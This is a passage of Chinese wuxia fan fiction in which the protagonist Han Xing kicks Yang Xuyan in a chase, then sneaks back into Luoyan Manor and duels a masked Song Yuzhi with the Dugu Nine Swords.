杨虚彦自然不会信韩星的鬼话,不过他却明白对方分明是知道自己跟石之轩的关系,才以此调侃自己。难道他就是师尊另一派武功的传人?不会!杨虚彦立刻否定自己的猜测,花间派的传人一向都是那种风流才子般的人物,眼前这家伙分明是个无赖,怎么可能是花间派的传人。
算了,先不管他是什么人,逃命要紧。
杨虚彦加速身法,往左边逃去,他全力施展幻魔身法,就连韩星要追也有几分吃力。要知道轻功这东西不是学得越多就越好的,任韩星学得再多的轻功身法,一次只能施展其中一种,而不能全部施展出来,将所有轻功的速度叠加都一起。
所幸,幻魔身法快则快矣,然而其特长始终在于其诡异难测,论到直线速度却是拍马都比不上韩星现在使用的风神腿的轻功步法——捕风捉影。韩星只追出半里,便已经追上杨虚彦。
想走?留下两颗卵蛋再说吧!到时看你怎么跟我争女?韩星心中大喝着,一招‘风中劲草’已经从后袭向杨虚彦的胯下。
“啊!”
杨虚彦惨叫一声,被韩星踢出数十步,这个时候杨虚彦坚韧的个性发挥得淋漓尽致。只见他跌倒在地后,没有如常人那般立刻捂住其要害,不住惨呼,而是连爬带滚的转入街角,并再次施展身法往远处逃去。
韩星看呆了,甚至忘了继续追杀,让杨虚彦几个闪身后从容逃去。
韩星看着杨虚彦逃走的方向,心里大叫着:“靠!被我踢到蛋蛋居然一点事都没有,还那么生猛地施展轻功,真神人也!咦?不对!我刚刚根本没有踢到蛋蛋的感觉。难道他已经练成金钟罩最高境界——缩阳入腹?”
杨虚彦那里有练什么金钟罩,就更别提缩阳入腹了,只不过他的蛋蛋早被未来的韩星泡荣姣姣的时候踢爆了,现在那里还有蛋蛋让韩星再踢一次。杨虚彦早就是个不折不扣的太监了,胯下也早就不是他的要害了。
当韩星回到落雁庄时,四周全是衣袂破空之声,韩星想也不用想就知道,一定是自己跟杨虚彦一番打斗已经惊动到落雁庄的人,尤其是杨虚彦最后那一声惨叫,那些人听不到才有鬼。
韩星心里分析着形势:素素那里应该不需要担心,有落雁在她的安全应该可以确保。不过落雁还不肯放下她的理想,就算不想捉我,那也势必要装模作样搜捕一番,以免李密生疑。
现在倒是个施展离间计的好机会,但可惜我很快就要离开荣阳,根本没那么多时间等她跟李密决裂。万一自己走后,李密才想到对付落雁,那就麻烦了。算了,就替落雁掩饰一回吧。反正以后有的是机会离间他们,致不济,也可以等李密事败后,再收她也不迟。
韩星想起沈落雁闺房之内有一个暗格,那并不是沈落雁告诉他的,而是他自己发现的。韩星跟机关大师鲁妙子也相处过一段时间,自然懂得几分机关之术,所以韩星第一次到沈落雁的闺房便已发现那个暗格,不过考虑到沈落雁的感受,始终都没打开过那个暗格。
韩星暗忖着:那个暗格之内应该是些非常重要的东西,若我偷走里面东西,被雁儿发觉,以她的才智应该能会意,只要她把这事禀告李密,这样就能解释自己出现在落雁庄的原因了。
落雁庄搜查声逐渐平息,大部分的人手已经由庄内转移到庄外,见落雁庄内已无多少下人,韩星又溜回庄内。当韩星在宋玉致所在的闺房上空掠过时,心中忽现警兆。
韩星非常机警,立往横移,岂知左脚踝一紧,已给绳子一类的东西缠个结实。
一缕指风由下袭上来,点往他背心要穴。韩星临危不乱,运转真气,双掌反拍敌人。
那人想不到韩星如此了得,倏地退往房间一端,避过了韩星的掌风。
韩星夹紧双腿间的鞭子,施展风神腿第四式‘风卷楼残’身形原地急速旋转,将那人手里的长鞭扯走,卷到自己双腿上,却没有急着攻击。
其实韩星发觉对方以长鞭攻击,又想到是在落雁庄内,就已经猜到攻击自己的应该是宋玉致,不过他定睛一看却发现宋玉致竟是一身夜行衣打扮,还戴了头罩,只露出双目和口鼻,想来也不是去干什么好事。
攻击韩星的确是宋玉致,跟韩星一样,她也瞧准落雁庄内手下大多外出的机会。想到沈落雁府内偷点重要的东情报带回阀内,希望能以此为资本争取延缓自己的婚事。却不想刚出房门,便见有人出现在自己闺房顶上,以为这人对自己有什么不轨的意图,又怕这人发现自己不在房内会出什么意外,便打算制服来人,哪想到来人身手如此了得,还抢走自己的长鞭。
这时,韩星轻轻跳起,双腿一踢,将卷在自己双腿上的鞭子踢回到宋玉致附近的地上,还挑衅的勾勾食指。
宋玉致大怒,这人凭本事抢走自己的长鞭就算了,毕竟技不如人。居然摆出挑衅的手势,来羞辱自己?自己堂堂宋家大小姐,天刀之女,岂容你随意侮辱。
既然这人送回长鞭,宋玉致也不跟他客气,长腿一勾将鞭子勾回手中,鞭法全力施展,漫天鞭影打向韩星。
韩星淡然一笑,从袖中抽出一柄软剑,以手中软剑正面迎击宋玉致长鞭。只见他手中的软剑,每次只轻轻击中那长鞭,不需要多大力气,那长鞭便会莫名其妙拐向别处。
宋玉致发觉手中长鞭竟似不受控制似的,不由大吃一惊,宋家山城内虽好些高手能击败自己手中的长鞭,但如此轻松地让自己的长鞭失去控制实属第一次。
宋玉致不知道,韩星现在所使的剑法正是独孤求败所创的‘独孤九剑’中的‘破鞭式’。